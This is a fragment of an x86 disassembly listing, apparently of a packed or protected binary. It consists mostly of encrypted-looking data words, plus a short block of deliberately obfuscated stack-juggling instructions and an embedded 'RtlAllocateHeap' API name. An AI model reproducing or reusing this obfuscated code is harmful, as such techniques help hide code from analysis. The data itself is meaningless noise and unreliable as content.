260B489Dh, 18282276h, 2F869341h dd 0A74E29C8h, 5367359Ah, 0C64118EDh, 4168B4F7h, 7A7B0E3Bh dd 0F7311871h, 3764A7C2h, 4754B5F4h, 98DB0837h, 66161B44h dd 0C557BCDDh, 411876B5h, 76DCEC80h, 7A314118h, 93AAF6C5h dd 1876BBC1h, 3ABEB341h, 5EA992FAh, 0C3102B51h, 3065DEAEh dd 240078F1h, 23E75558h, 0BCC498F5h, 8DC0127Dh, 284BD18Fh dd 13Bh, 64AB58F6h, 2AAA6903h, 109B4918h, 6BDEAEC3h, 86E1201Fh dd 2F48F399h, 90652CAh, 0CEEB4118h, 124E81BAh, 6DD6A6CBh dd 2575270Ch, 0C8411809h, 4B6EBFE5h, 28AAACEh, 0CCC92E39h dd 0FD5987C0h, 4BD1A980h, 6C55h, 87874000h, 4CF7858Bh dd 8E27DC1Fh, 760E52AFh, 96A27A5Fh, 7B473A3Bh, 3B728616h dd 14A7473Ah, 0D0F8B4D5h, 45473A3Bh, 30202A76h, 583790E9h dd 5F2642DAh, 0B36968B4h, 11738587h, 4212436Ah, 0C73AD336h dd 0B6E7642Bh, 0E1321179h, 60662EFh, 3AD34296h, 0C504B7C7h dd 0C146A2AFh, 0FDAFC80Fh, 9173844Dh, 0EF628D20h, 87h dd 0A27A5F57h, 473A3B96h, 7286167Bh, 0A7473A3Bh, 4D8FD514h dd 0CB304996h, 3A3B0951h, 93C1EC47h, 3D1DAE7Eh, 0BBF24918h dd 0C37456Ah, 77D0BCE5h, 34BB9626h, 0EC414118h, 5BE4A88Ch dd 0EC332030h, 40FD8E8Bh, 99CA0D3Ah, 0EED3065Ah, 3C61DEA1h dd 2E19A3F1h, 0FF4F0223h, 3A426FBCh, 8978DC01h, 9AE99A6Fh dd 7484187Dh, 994B7672h, 118BCE12h, 456C7A16h, 9BA8D2DFh dd 4B9F0D4Ah, 0AE554CB9h, 9990CC0Fh, 5823FB12h, 0F60364ABh dd 4A69BA89h, 0DE29C316h, 0CF492033h, 0A72BFECh, 0A3E9D631h dd 1DB94B98h, 0F02B9BF9h, 406DBE89h, 99D80D3Ah, 26D25890h dd 7A5FADCBh, 1F4EA989h, 0F7999AC9h, 66D99EA3h, 0F0396756h dd 7F58B38Ch, 0A1FF4C32h, 2E4BF498h, 78AD9AE1h, 0BB84F43Dh dd 0F0154B6Ah, 2075CEBBh, 92C3800Bh, 741A2F5Dh, 374794D7h dd 0C068BE3Ah, 3875D711h, 8CB5EB54h, 0E32C4700h, 0E27DAE99h dd 3, 7773CB50h, 0C3E83D06h, 105D8EB9h, 618EDF68h, 0B4F92A19h dd 3287DCAh, 529FCC7Bh, 0A2CF1C27h, 0F03D6EDDh, 696FBC8Bh dd 5E08950h, 4, 8704E883h, 248B2404h, 9776824h, 2C890000h dd 4ACB6824h, 3C890000h, 2EE26824h, 4890000h, 6714B824h dd 0D2BD6EFEh, 1972BD1h, 0EC8358C5h, 24248904h, 4240481h dd 5F000000h, 5D0E68h, 241C8900h, 8BBh, 89FB0100h, 34FF5B2Bh dd 0C4835F24h, 242C8B04h, 81E38953h, 4C3h, 4C38300h, 5C241C87h dd 0F844A6E9h, 0CE15ACFFh, 0E84DD8A6h, 0C8B85A00h, 3062A3Dh dd 9BE0FFC5h, 7B7DE419h, 0E657E551h, 8A1CA42Ch, 23390FA1h dd 414EFFB4h, 9C2BD783h, 0B9239BC0h, 354E9334h, 257D13F1h dd 0B376329Dh, 0A211123Bh, 0E547AFD0h, 7449DB3Ah, 7C0DD7BCh dd 0EE4B9169h, 3A1947C3h, 1A1C8779h, 7A4C2FBDh, 455E303Dh dd 9E25BF22h, 605BB976h, 17571133h, 7B058E4Eh, 223E9D65h dd 0E63EBE8h, 6F314151h, 3731C8CCh, 0E43BCB11h, 0EB46509Ah dd 1570B58Eh, 331C840Fh, 0E942E86Bh, 3Dh, 0AD77E51h, 416C7452h dd 636F6C6Ch, 48657461h, 706165h, 140000h, 9 dup(0) dd 111AE900h, 40680000h, 0E9062A41h, 0FFF843C3h, 2A422568h dd 43B9E906h, 6F68FFF8h, 0E9062A44h, 0FFF843AFh, 2A457468h dd 43A5E906h, 0AC68FFF8h, 0E9062A48h, 0FFF8439Bh, 2A493E68h dd 4391E906h, 8268FFF8h, 0E9062A49h, 0FFF84387h, 2A4A8F68h dd 437DE906h, 4268FFF8h, 0E9062A4Bh, 0FFF84373h, 2A4BC768h dd 4369E906h, 8168FFF8h, 0E9062A4Dh, 0FFF8435Fh, 2A4EA968h dd 4355E906h, 94F9FFF8h, 2C5F40ABh, 0C4CBF41Fh, 56236C87h dd 0F19D82EDh, 2DCF3B52h, 42AD9AE4h, 0F71E2D5Dh, 6A85BECAh dd 85EC5725h, 5B6F3D5Ah, 0BE411004h, 5770818h, 0B8C4E93Ah dd 67115E8Fh, 3B1622FAh, 0B0FB473Ah, 3CE802CBh, 96C9B23Fh dd 0E602CF45h, 0FE632966h, 3A811A2Eh, 7DBCFF47h, 0F706B728h dd 75EB8B10h, 0B9C3EE32h, 543A678Eh, 0FA8592F7h, 0EBCC174Dh dd 3D63E0AEh, 6EBF88F4h, 0E7003B41h, 0D7C8971Eh, 0A0FC8794h dd 59A65DBFh, 53876C00h, 43504918h, 9EDD0E39h, 2AC2D742h dd 4118221Eh, 6079B8F3h, 8DDE6913h, 2B3B37D4h, 418045C8h dd 0EA3ACA13h, 144118F6h, 89C40B6Dh, 2C4BD10Ah, 35h, 42AB58FAh dd 3A3B9EAAh, 0F9387347h, 41DB0CE0h, 79344918h, 31749854h dd 0CF8A4118h, 0D1EB66A9h, 0FCE4BD1h, 0E9000001h, 0D547DEACh dd 41183D85h, 0DE024568h, 34057706h, 81AEFF48h, 760F4EFDh dd 4347A7D7h, 5F8CCFC2h, 8EDF6C12h, 0C7201B61h, 0CCA0C5CAh dd 473A71BCh, 0CA1B5A51h, 371466ABh, 0ED9FDCE9h, 98693B52h dd 79473A7Dh, 0EA592613h, 3F0874B9h, 4D8CCFEEh, 0BA8FFD22h dd 0E23372D1h, 45A2F1E2h, 181FBCD7h, 7B04A149h, 1D5C9FCCh dd 0ACF1E2F2h, 84EBDBDEh, 746B50F5h, 0C3CBE035h, 0E5024584h dd 95AFC780h, 0E5C3E989h, 0E212EDBFh, 0FE234F3Ch, 7D351A2Eh dd 0C7BCFF4Bh, 319D6B9Bh, 62DF05F2h, 0E4C92E4Bh, 7D47E008h dd 7AA6154Bh, 99F04F3Fh, 0B9C15B80h, 5C4B7D47h, 0DD6A1051h dd 37147A87h, 90E26F43h, 5CA3FCEFh, 0E52h, 92FD4637h, 661DEADh dd 0BEC97619h, 0D43F0871h, 4DA4A3EBh, 4C327B7Dh, 0DFAB94FFh dd 70180960h, 973BCD7h, 4B2CD73Eh, 107A89D1h, 7EA66C41h dd 96A27A5Fh, 7B473A3Bh, 0B9C5EC30h, 4E3E638Ah, 77B691FBh dd 0AB58861Ch, 0D1DE0364h, 0B8429EADh, 491841B7h, 34C01598h dd 411830E0h, 0F215531Eh, 4BD1D07Fh, 0C55Ah, 577C000h dd 0BAC4E93Ah, 0C4FFC83h, 61DAAEEBh, 0D75AEA33h, 60473A37h dd 0DC299AA7h, 0F415FCC3h, 3A3E1038h, 6AB60547h, 0EB023D4Fh dd 386DD6A6h, 0BFD827DCh, 1855E2EDh, 29406B49h, 0B2D71CD7h dd 171141D1h, 64B887D8h, 3D2FA775h, 7B324F3Ch, 7F48391Eh dd 38A84B08h, 0FA287020h, 87154B7Dh, 4B7DFA73h, 832A17A6h dd 8FFF3C5Dh, 266859B0h, 9D535119h, 0CFD8EF90h, 0D6D70h dd 102B5200h, 84C3C8F9h, 0EC5B246Dh, 52ED9C85h, 0BB88F63Bh dd 5D965650h, 0B6FB1231h, 236C87C4h, 9E83EA55h, 333A55EEh dd 79A2F6A6h, 83574110h, 38077763h, 4A7FC8D1h, 53D7DC5Ch dd 0C6B6F321h, 805127Dh, 5796C780h, 5777509h, 87ECE93Ah dd 3A3BC515h, 0C9A32847h, 473A3BA1h, 0FA265954h, 1572CDBFh dd 3B2C7C30h, 0EAC1473Ah, 0ABFBADB6h, 0B6473A3Bh, 2D127DC6h dd 63DF5E5Fh, 0BF41C38Fh, 0C52A2F7Ch, 3A770357h, 0AF7DF647h dd 7CEA7D2Eh, 676BBFAh, 97CDE83Dh, 0F419226Ah, 0E044A4ADh dd 6146A39Ch, 3ABE7F8Bh, 0D61B9247h, 2B4A9BA8h, 1548EAF5h dd 0A051F357h, 0A2h, 64AB586Eh, 9E83F603h, 3A3BFA0Eh, 5D9C1F47h dd 0E95AD207h, 0C6491827h, 0C616A6F7h, 0DB41180Eh, 52F19EAFh dd 0DDADC213h, 0ED3D6Eh, 8BEE42E8h, 0A98663Ah, 543CB982h dd 0B3BEE24Ah, 35F1235h, 5B7A4BD1h, 0A0000000h, 3A3BC7E8h dd 0B7FCF747h, 1FE1DA52h, 0EFCE4918h, 54F39B84h, 0C9B5C207h dd 3F34267Ah, 163246D6h, 0D4E74118h, 52277495h, 177A4E9h dd 0B8D90746h, 3A367FE4h, 0ACCDE04Fh, 0A93BB7DBh, 114FB98Fh dd 8CB7C1CEh, 0F7463D5Fh, 6485C483h, 5CF16388h, 0CE199445h dd 8E213h, 0AB58C300h, 22690364h, 0CB491850h, 4C85BECEh dd 95D00542h, 0BEDBD24Fh, 53246DC5h, 5488FC20h, 3F536331h dd 24AD4118h, 404B48C4h, 4D93D203h, 0D1D394C9h, 0D214Bh dd 0E8E90000h, 473A3BC4h, 0FBF848D7h, 5FBAFFFFh, 66132652h dd 2A6D88DDh, 7DCAB4F9h, 0FFF4E63Ah, 0C2C557B0h, 0CB49181Ah dd 0DDE1B3E0h, 23411819h, 520F42A6h, 674BD1B5h, 4E8h, 9715D3AFh dd 257297DCh, 0A7AAF655h, 1828AAF5h, 0BA585349h, 5F1819E8h dd 0D11ED5D9h, 0B1D953B8h, 64E8DD5Fh, 0E1C60B49h, 65AE594h dd 0FF711B64h, 64A904E6h, 1A9E6B18h, 0CF6652DAh, 47EF0D6Eh dd 0F76C5DBEh, 7D953B4h, 1AFF1598h, 0B0117693h, 2EE396B7h dd 3D0A74B5h, 0F19BA6FAh, 0DDDA3F56h, 244794AFh, 7E665Fh dd 97CDC1C3h, 5119226Ah, 3FA99449h, 237EC1D2h, 1800000Bh dd 7EA3CA75h, 0EAD73E0Dh, 424FA6A5h, 0BCE50C37h, 2C1A75D2h dd 0CC7B034Ch, 310E7CA5h, 0A49FE9D6h, 0F38444Dh, 801C7DE4h dd 41107F78h, 7729F99Dh, 0FC4B3405h, 2E6B68BDh, 5ABCE05Bh dd 6F3D5AA9h, 4918358Ch, 0E9579081h, 9E5F8A83h, 5297A379h dd 337A4118h, 682E97F0h, 0D829A05Eh, 0CE1A92F7h, 234118DBh dd 8055488h, 63ACC780h, 2BF92A15h, 4118DB1Fh, 18AB499Dh dd 3B887B41h, 0A3494EDEh, 6F4E4F3Ah, 0C17E0D0Ah, 0FA03519Ch dd 7F331A2Ah, 0FB7DE44Bh, 0AED399D4h, 233C45h, 58EA0000h dd 690364ABh, 491844BAh, 227626ABh, 0F411823h, 18234D9Dh dd 340DA041h, 0A154679h, 35h, 64AB58F8h, 4ACA6903h, 7E3B4918h dd 0C0E3300Bh, 2AA5F5A7h, 65484118h, 0AF94F122h, 182AADFDh dd 0F4049841h, 1941182Ah, 0E90EAD92h, 182AE733h, 7DA30A41h dd 3A0577A1h, 0D85E5C4Ch, 41D8E9FBh, 0A1Eh, 0A6C17A03h dd 0DA351279h, 729DAAD5h, 0E8033C4Dh, 168D7A7h, 800E4729h dd 1367A8C3h, 0A4D4DD34h, 3D4F709Bh, 1760EB02h, 107E7585h dd 32F29841h, 364AB58h, 181AB669h, 0C714A749h, 0E59E2AAh dd 0DD13CD9Eh, 0B309FA6Fh, 0E15114Eh, 0BFB1DBF9h, 540F1178h dd 6D32EA0Fh, 926475D2h, 348DCA1Bh, 40AB1077h, 9DA4F839h dd 263651EEh, 5C81E62Dh, 0D93827EBh, 0A56BAF6h, 97165B70h dd 18713C7Ah, 66517933h, 0E9C47E8Bh, 0FA6E560Ch, 74A82D92h dd 5DCF3451h, 7E8B8E0Dh, 0F597CDE0h, 7E8B8EA1h, 0F656925Fh dd 0D854D1B9h, 7E8B8EB0h, 0C6175665h, 2766E5A9h, 23205DF9h dd 4BB51842h, 20000001h, 10156667h, 1587F8BFh, 7E8B3AC5h dd 1E428528h, 64AB5846h, 1AB66903h, 0AEA74918h, 0DE13CA9h dd 13305FD2h, 2160A3C2h, 72CDBFFCh, 0C9761815h, 0D83B5984h dd 0F6029AFFh, 1B411866h, 57254C90h, 5AEDBFECh, 0F86FDD6Ch dd 0D0F8B499h, 456A57A3h, 4F9B1176h, 0A26A57A3h, 0C6CD50Bh dd 0B0DB6428h, 0A3226AA7h, 0F59F6B55h, 568ACD59h, 0B5E6612Bh dd 925554E7h, 6454944h, 48F798D5h, 64846D1Bh, 0B21366CEh dd 3F5B303Bh, 0FC459B27h, 6BD4B87Ch, 0D26D1F00h, 48374481h dd 0FA0E9EFBh, 1F13820Ah, 5B16409Ch, 87D46F1Ah, 28C42564h dd 13820A20h, 3441A615h, 0BEA1FF48h, 395EA55Eh, 6CB08FFCh dd 1360BF6Dh, 951DA0h, 0E0615C6Ch, 0BBFAB11Dh, 0C37456Ah dd 0CDD0BCE5h, 0B46DF15Fh dd 7CA1E059h, 2E7A3217h, 0C31DE05Fh, 77B695E6h, 5F539F29h dd 0C8D11DE0h, 5FE109E3h, 99141DE0h, 0BA7AFE7Bh, 8E1E69D2h dd 41D457C4h, 4CA7EEE2h, 0DD0E3943h, 0D5094B0Fh, 0C6C8507h dd 0B0DB6428h, 0E3F7DEA7h, 0CEA2A2F7h, 1A255792h, 8BD88BC9h dd 7ACDBE6Eh, 8B221C6Eh, 7A321760h, 1CA27E2Eh, 0AD96E6C3h dd 0A6FA3D78h, 4A49h, 0AB58B500h, 83F60364h, 14486BB8h dd 44F857C5h, 0CEED4918h, 201F6CA9h, 0F784A9FCh, 0DBD82148h dd 954894B3h, 0C78096BEh, 0F4558F63h, 0CA0C50E1h, 0EA3EEE17h dd 0F4118D7h, 0F0C6DACh, 5C9FCC7Bh, 75BD100h, 0EA4118D7h dd 77CA90C3h, 0FC4B3405h, 914252BDh, 0C4772542h, 0A9491852h dd 0E3A8E502h, 741B74DEh, 387B3C5Dh, 0D0B8F5E4h, 65131C77h dd 674C89DAh, 8054689Eh, 1CCC13C2h, 4118A7CCh, 0A8F0AC21h dd 4D4118A7h, 0E7F12F6Eh, 0AA42A7ECh, 4F3AA949h, 8FDB5146h dd 624B7E98h, 9DB084Bh, 4B7EE8E5h, 0B2D71CD7h, 9BACBDD1h dd 0E53B555Fh, 8D6338F4h, 3974455Ch, 5D16EF14h, 0A437FD08h dd 2777114Fh, 0D9555C14h, 76D1BBF8h, 0C3C90625h, 9BDD2478h dd 8DACF974h, 2CDC3Fh, 5F4A0000h, 77EC87E6h, 3F8EFD8h dd 0E08E4E24h, 4C8ED2CDh, 562F4897h, 8E13284Bh, 33267A4Ch dd 1891AA79h, 0A3F0BB49h, 185Ch, 0AB588600h, 0F627246Ah dd 2E1374B7h, 73A19EE1h, 184A0AA9h, 63B0FB49h, 3A0577DBh dd 0D85E524Ch, 4FD2E3FBh, 6E6h, 7E89B2DBh, 92FD4A31h, 0A65E2ADh dd 0A0CB7405h, 0D9300F7Fh, 0B8C60FD1h, 4B3F608Bh, 0DCAC95FCh dd 75070863h, 0DFB8A3CAh, 10733D4Dh, 0EA3AD041h, 748106D3h dd 0CCEF3C0Bh, 608D4690h, 0F58983A7h, 41133DF3h, 473AF339h dd 0EBEE6BDCh, 3EBE5090h, 0C15BBCFFh, 4918EFB6h, 0E4B65467h dd 82DE6B94h, 182754A1h, 6274A8CBh, 57C52271h, 8171FCACh dd 8BC91A91h, 0BE6E8BD8h, 8794399Dh, 0D1DE3B72h, 487990ABh dd 890FFB44h, 0D6272A1Ch, 6547AC5h, 44490000h, 0DCAF90FBh dd 741B046Fh, 673BCD7h, 0A1EDD23Dh, 7D7F4BA2h, 92FD4A34h dd 76EDDADh, 0BAD56E1Ah, 0D53C0775h, 8BDF4D2Ah, 6E411072h dd 57778A8h, 0A9FA4534h, 0CFBF4B8Ah, 9CFBD85Eh, 610BC83h dd 88F50000h, 206B54BFh, 0B8C7C823h, 4A3F608Bh, 0E5A996F1h dd 393B0F66h, 56B18EF0h, 0CB222169h, 7E89B2C6h, 99F04B31h dd 4793096Eh, 0AA411072h, 5773CE4h, 0F8EBE93Ah, 66DE4EABh dd 4B49202Dh, 840A0760h, 95796C7h, 0B8FDF6C6h, 0D02968D7h dd 3204FF5Ch, 0BCDDD04Fh, 7BB5C557h, 55584B76h, 1E2EFE0Fh dd 0E04B767Bh, 95C8FF79h, 2045A797h, 0D6h, 0A27A5FEEh dd 473A3B96h, 0FC45FE8Bh, 2CE263B1h, 91AED0DDh, 155A0943h dd 281F38F4h, 6FD84918h, 38FD340Bh, 19104CC8h, 53387592h dd 0A788A74Eh, 0A4E7531Bh, 0E00E9C78h, 0F6841914h, 0CC1C90FDh dd 21921354h, 0C92E4B8Ah, 54E008E4h, 0A6159213h, 7AD7A07Ah dd 4FB89C31h, 0FBAA87A0h, 2D7EB146h, 9AE1342Fh, 9F0D6AADh dd 925721FDh, 0E3304964h, 4C49AE99h, 0B7D80443h, 0BC83028Ah dd 8BB8C206h, 6B621B5Ah, 0F50597F9h, 18A64B3Ah, 67135295h dd 1A675D8Dh, 38699AAh, 0F8000005h, 5E43AA95h, 0CAF71E2Dh dd 226F86C5h, 9C85EC57h, 0CC3A55F2h, 0AC9BE32Ch, 112E5C45h dd 84BFC9F6h, 0EF58246Dh, 603C5D84h, 41107158h, 0A50919BDh dd 0AEh, 0A897E734h, 525FD874h, 5565372Ah, 0B8473A3Bh dd 4261B2F5h, 0B807FC1Eh, 2D61CD5Fh, 0A7F44920h, 2B1866D7h dd 2B78BBFAh, 42A7E2Eh, 0ECCF4110h, 0D3A5D0ADh, 0E1BD3DB1h dd 9B1186B3h, 4110FE4Fh, 0C91A2952h, 0E72695AAh, 3C077582h dd 0D9FC4D5h, 4110FEFDh, 3A479D10h, 58A4E952h, 690364ABh dd 4F32FE52h, 59BBE8C3h, 680465AAh, 4554FD4Bh, 6509F1BCh dd 0F6E96996h, 4505AA5h, 48350000h, 0E0AB94FFh, 78070863h dd 0A7FA0CBh, 0A5E9D631h, 797B4FA6h, 96F14E30h, 0B62E1A9h dd 0BEC97206h, 0D9300B71h, 87D3492Eh, 6A411070h, 525F7CA4h dd 0ACCF1C27h, 0BD119BD7h, 0C311F085h, 3AC01139h, 0C05B6B47h dd 7A69473Ah, 0B1C7D435h, 0E9264596h, 297499A6h, 7481E6EBh dd 4FDD3A05h, 473AC03Bh, 0E781DFDEh, 4920D63Fh, 956E8B22h dd 4E50190Ah, 596CB048h, 2BDF6814h, 0F5AC8C3Dh, 0CB6EF1C2h dd 0B0000003h, 161B72CDh, 828FE665h, 0FA274EFDh, 545DB48Fh dd 0F4F21D2Ah, 74D3BBF4h, 0D966141Dh, 4CF7818Eh, 0B790FC25h dd 28C4955Ch, 41107000h, 77C121F5h, 0DD443405h, 3A3B3B4Fh dd 9CDFDE47h, 0B8ED2C4Fh, 92A6765Bh, 87473A3Bh, 0B493FB34h dd 2E756E68h, 37E453C9h, 0B0114918h, 555CF338h, 0B38E1999h dd 0AA76956Eh, 0A417025Eh, 0BA91DB4Dh, 7BB84268h, 0C6E53611h dd 102F5F9Ah, 0E1BBE0F9h, 54093ED9h, 3C0B7F3Ch, 0F49AA7FDh dd 33FE5DEDh, 63A27EF6h, 0B4D8D532h, 4D03558Bh, 7737EF06h dd 0C4E93A05h, 14648FB8h, 602AAA5Fh, 3597D75Ah, 62B38CFCh dd 35E70043h, 4918633Eh, 0CD9FCCEFh, 411812B9h, 386DDAA4h dd 68BD86F3h, 82A8C049h, 0C0CECBAEh, 0DE135283h, 254095AEh dd 0D3F672FFh, 4BD1AE9Eh, 2F3Bh, 0AB58E300h, 66690364h dd 0D7491841h, 37683E4h, 33C1E438h, 411831E3h, 3814541Dh dd 313159D3h, 0C9E44118h, 0D1CE838Bh, 27EB4BD1h, 33000001h dd 5635E65Fh, 0C52F41C5h, 112A529Fh, 493E87CCh, 0DF6E617Dh dd 287DCAB0h, 0FFADCA0Dh, 473ADCABh, 8316F4Eh, 6F94B986h dd 0DC46920Ah, 0BAAB473Ah, 0A70D7515h, 135C9FF2h, 7A87DD66h dd 0B7E42912h, 0B1137AC5h, 473ACBB0h, 3D0C7CB9h, 85A0F552h dd 0B5D21142h, 3B3BD3E7h, 29774647h, 0A8C37C00h, 0F92A1567h dd 7E9BE89Bh, 193DC5AEh, 88E3CA49h, 0F7ABBA8h, 85C4E734h dd 74548864h, 48B94F3Dh, 34EF9CDBh, 0CC2D6C7Bh, 6980BFCFh dd 94E75638h, 0EE2DCEB7h, 1F55471Dh, 0FE342ADCh, 0F8C9EF90h dd 21161h, 0BC87F600h, 201F6C55h, 88B7D8C9h, 0FE493061h dd 67E4AA97h, 0F13A3A0Ch, 6A57BE8Dh, 0C7C82320h, 327F96B1h dd 6F96F14Ah, 7646920Ah, 0E7AB4110h, 1E07773Fh, 3A3B7A8Eh dd 0DD1C9F47h, 0B5C557BCh, 58473A3Bh, 54E0B2EFh, 0D0131BB5h dd 1176438Ch, 9D28702Ch, 0EECD473Ah, 3A9DEA3Eh, 70AC0F47h dd 85F64349h, 315695C6h, 3A9D2F7Bh, 0A8EBC247h, 0E915F64Fh dd 0ECEDE885h, 4D4AAFB0h, 91DC013Eh, 7A5FB343h, 3A3B96A2h dd 0EC307B47h, 4DAAF9EAh, 0E55E2B68h, 9D2F75B0h, 4918416Ah dd 0E9BBE8C3h, 411831C5h, 173ABE3Bh, 4BD1D15Ah, 0CD7Fh dd 6C1D1A00h, 53F09ED3h, 577710Dh, 0BAC4E93Ah, 0A58C588Dh dd 86473A37h, 0EF2C4DF6h, 3372A3A0h, 3F3246D6h, 0D4E7473Ah dd 325A4788h, 0CBB8C409h, 81ADE1A2h, 38D5C04Bh, 3AE54068h dd 8108B547h, 175695C6h, 8EF9B3D4h, 9F4918E3h, 0F0E3F51Ch dd 55D646A3h, 3A4F3C42h, 71191673h, 2D6281D2h, 75B0E562h dd 0A1ED2A2Fh, 38464BA2h, 0B4DD7F0Bh, 390AEF90h, 0E926h dd 94AFDE00h, 0F847347Dh, 60DFA091h, 0D6711809h, 3F0C72BFh dd 0D912D2D4h, 327F96B5h, 0AF90FB48h, 1A076ED9h, 0B7BEC972h dd 753E4A22h, 3FD34110h, 360777E7h, 0A0B9F843h, 0AEF248E7h dd 3AC1AAFEh, 976C4F47h, 9FE926FBh, 0F53477A4h, 117BA4AFh dd 0B5F45338h, 577C05Ah, 0AED0DD3Ah, 0EA52982Bh, 6396403h dd 614683DAh dd 3AD77F8Bh, 0C51B9247h, 60CDD0BCh, 97B4DA08h, 0A3FF71EEh dd 3C370960h, 1E1A92F7h, 0F3492024h, 36466BB8h, 1587EC0Dh dd 411073C5h, 40FF8B28h, 4391D013h, 0D26D1F00h, 557FF381h dd 8069445Fh, 87C0CC68h, 0EE59236Ch, 300970BDh, 0BC8BF34Ah dd 0CA0D4C6Fh, 0AACEB399h, 0FB83028Ah, 5FD7B540h, 0ECD53C7Fh dd 0EB76A7A0h, 16h, 70041DE6h, 0EBFDA76Ah, 3967A6A1h, 2C525F65h dd 71AFCE1Fh, 67732F4h, 0B9C3E83Dh, 68105D8Eh, 19618EDFh dd 0CAB4F92Ah, 7B03287Dh, 27529FCCh, 0DDA2CF1Ch, 8BF03D6Eh db 0BCh, 6Fh, 69h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ecx push 5A78h mov [esp], edi push 4651h mov [esp], ecx push 62A3F8Eh mov edi, [esp] add esp, 4 push esp mov ecx, [esp] add esp, 4 push edi add dword ptr [esp], 75CD499Ch pop dword ptr [ecx+8] push esi mov esi, 68F1424Eh dec esi sub esi, 0F323F8B1h sub [ecx+8], esi pop esi push dword ptr [esp] pop ecx add esp, 4 mov edi, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp jmp loc_502B27 ; --------------------------------------------------------------------------- db 65h, 9, 0A0h dd 2A4FB7B8h, 0FFC50306h, 17E148E0h, 903F2E3Eh, 9CA3A04Fh dd 2E372E43h, 438B880Dh, 0D2954409h, 82A1241Ch, 75795C05h dd 9026EB34h, 5CD7CD4Dh, 361A9A2Fh, 2365A210h, 0F3D9066Eh dd 10F17A1Dh, 7CBED942h, 3A1C3874h, 6229C843h, 6148D93Fh dd 0A77A5E04h, 0C126B546h, 7B4E765Ch, 3F8D8D1Dh, 6A062A51h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1A042444h dd 40000000h, 0C4B7C350h, 40BA36A7h, 0D59D8B64h, 8906221Dh dd 2233F18Dh, 0FF38A06h, 85C7D7BFh, 6222D31h, 6C28h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0ACC35242h, 0D7FD4533h dd 0E585C7A4h, 62230h, 9000000h, 2228FD85h, 10860F06h dd 0E9000000h, 0Bh, 0B625F682h, 0FD67697Fh, 0FF7409B1h dd 221281B5h, 10E906h, 7BC40000h, 3A1CED59h, 0A0096590h dd 9A9D24F3h, 95FF6C92h, 6222065h, 95FF006Ah, 6223075h dd 2FEBC08Bh, 644986C5h, 5176041Bh, 0E9B68D7h, 657914C6h dd 9215E8E8h, 0B6B9CFADh, 0A11D8C9Bh, 765EA833h, 7832EB3Bh dd 0C74F99D2h, 1E529DACh, 8DBAD141h, 2A51EE8Dh, 0F18D8906h dd 6A062233h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 16042444h, 41000000h, 0E96AC351h, 0D0BF0F36h, 2D3185C7h dd 6E740622h, 8B600000h, 221AF1B5h, 0EE906h, 704C0000h dd 0B0FEE8ABh, 36A02634h, 0D4688AFDh, 0E585C761h, 62230h dd 0F000000h, 0B5FFDBB7h, 6220A85h, 2FDD852Bh, 95FF0622h dd 6222065h, 6A7AC480h, 7595FF00h, 8B062230h, 651EEBC0h dd 0D50175FAh, 0E79F403Bh, 97F947B0h, 1DC2565Bh, 93C79C47h dd 3EEC8158h, 191E1A26h, 10E911h, 7B860000h, 49B6h, 2 dup(0) dd 11E90000h, 5C000006h, 0B2FF1631h, 2E137AC9h, 868BE261h dd 0F02148F3h, 5056B18Eh, 8374790h, 7DCAB0E1h, 0E05B2D12h dd 4BF49889h, 0CCA03920h, 411069BCh, 7765BD51h, 0C4E93A05h dd 0BC1237BAh, 96B49004h, 89F33C57h, 3C406DBEh, 0E17F820Dh dd 0BFAF4B7Ah, 64A9E82Bh, 0D6074437h, 449F699h, 4A9BA8D7h dd 71B33538h, 0BF1300Bh, 0E2AA8AEEh, 77010E59h, 1A6EABCCh dd 63B1FC21h, 0FE493F60h, 53EC9C99h, 0E1AEE302h, 0C2EF3E62h dd 49F685B8h, 41A6D904h, 0F178801Ch, 1E9D473Ah, 2BD35565h dd 124E6B8Ah, 6AD9A6CBh, 0BB84F439h, 7DFB666Ah, 2968D7A7h dd 3616521Fh, 0E0B2764Dh, 3D78AD9Ah, 19059740h, 71CABEFBh dd 0D8632916h, 39414E8Bh, 0E334D60Ah, 4B473A35h, 79CA42A6h dd 3ECA5E5Ch, 0B460BCD1h, 51F302B9h, 4F1Ch, 5770A00h, 87ECE93Ah dd 3A3BC515h, 5F852847h, 3A3B7F8Dh, 0CC2CD547h, 0F3DBC885h dd 1ED51h, 77350000h, 0D9164704h, 2B4095B2h, 0C0B0E55Eh dd 2655CF29h, 0ACE9CE19h, 4D3667E0h, 0A4858AC7h, 9461A039h dd 2A0797DBh, 0CFEA36E3h, 0B36B82BDh, 49360777h, 4B8AA9FAh dd 0BFA6D51Ah, 3BB6C25Ah, 505B473Ah, 3A3B7880h, 69109D47h dd 0F5C9FDEh, 78AD96E2h, 58424733h, 85FA5891h, 10C01554h dd 4C8B9FD9h, 0FF8FA5C3h, 9EEA2740h, 231C6CA5h, 626DB3F2h dd 0A7F44F3Dh, 1546058Ah, 87ED563Bh, 0F70399FBh, 1A473A3Eh dd 7CBFEA93h, 1E5AA7FDh, 0F3D286EBh, 845351h, 5FFB0000h dd 3B96A27Ah, 307B473Ah, 8AB9C5ECh, 0FA6B1459h, 3A3B1622h dd 71B0FB47h, 58B2AF18h, 0D4CC72D4h, 6E8B7D88h, 0E7642A0Ah dd 1705C182h, 4D639D33h, 0BBC3CC17h, 0FD3A5F8Ch, 456CB08Bh dd 76DA0B34h, 375A6D8Bh, 0A251F36Eh, 61h, 36077768h, 96C70645h dd 0C7142F59h, 3459E2AAh, 7BA897E7h, 8CA2C62Bh, 8DFE3B5Eh dd 3C406DBEh, 5093D203h, 61C3250Ch, 0E4C92E1Dh, 3A3BE008h dd 7AA61547h, 477BD19h, 35461647h, 9D473A3Bh, 0B5C557BCh dd 0A8473A3Bh, 0EB0A5BE4h, 241F6956h, 2F75B4F7h, 0EE63A6C2h dd 0CB51F3DBh, 1, 81087753h, 45A8BF0Ah, 8EBB41A0h, 5B34BA43h dd 14697D6h, 39988F4h, 473A58F7h, 350931Ah, 775BCE0h, 0BC25EF3Ch dd 0A897F83Ch, 3F847F41h, 0D6B8F5DAh, 0E912B69h, 3749182Bh dd 0D553814Eh, 18673347h, 2ED7E641h, 0F428037Ah, 2D7E3Dh dd 67A8C37Ch, 0C0CD2A15h, 0A65F8CBBh, 8BC215BAh, 82DE118Dh dd 0A383A97Bh, 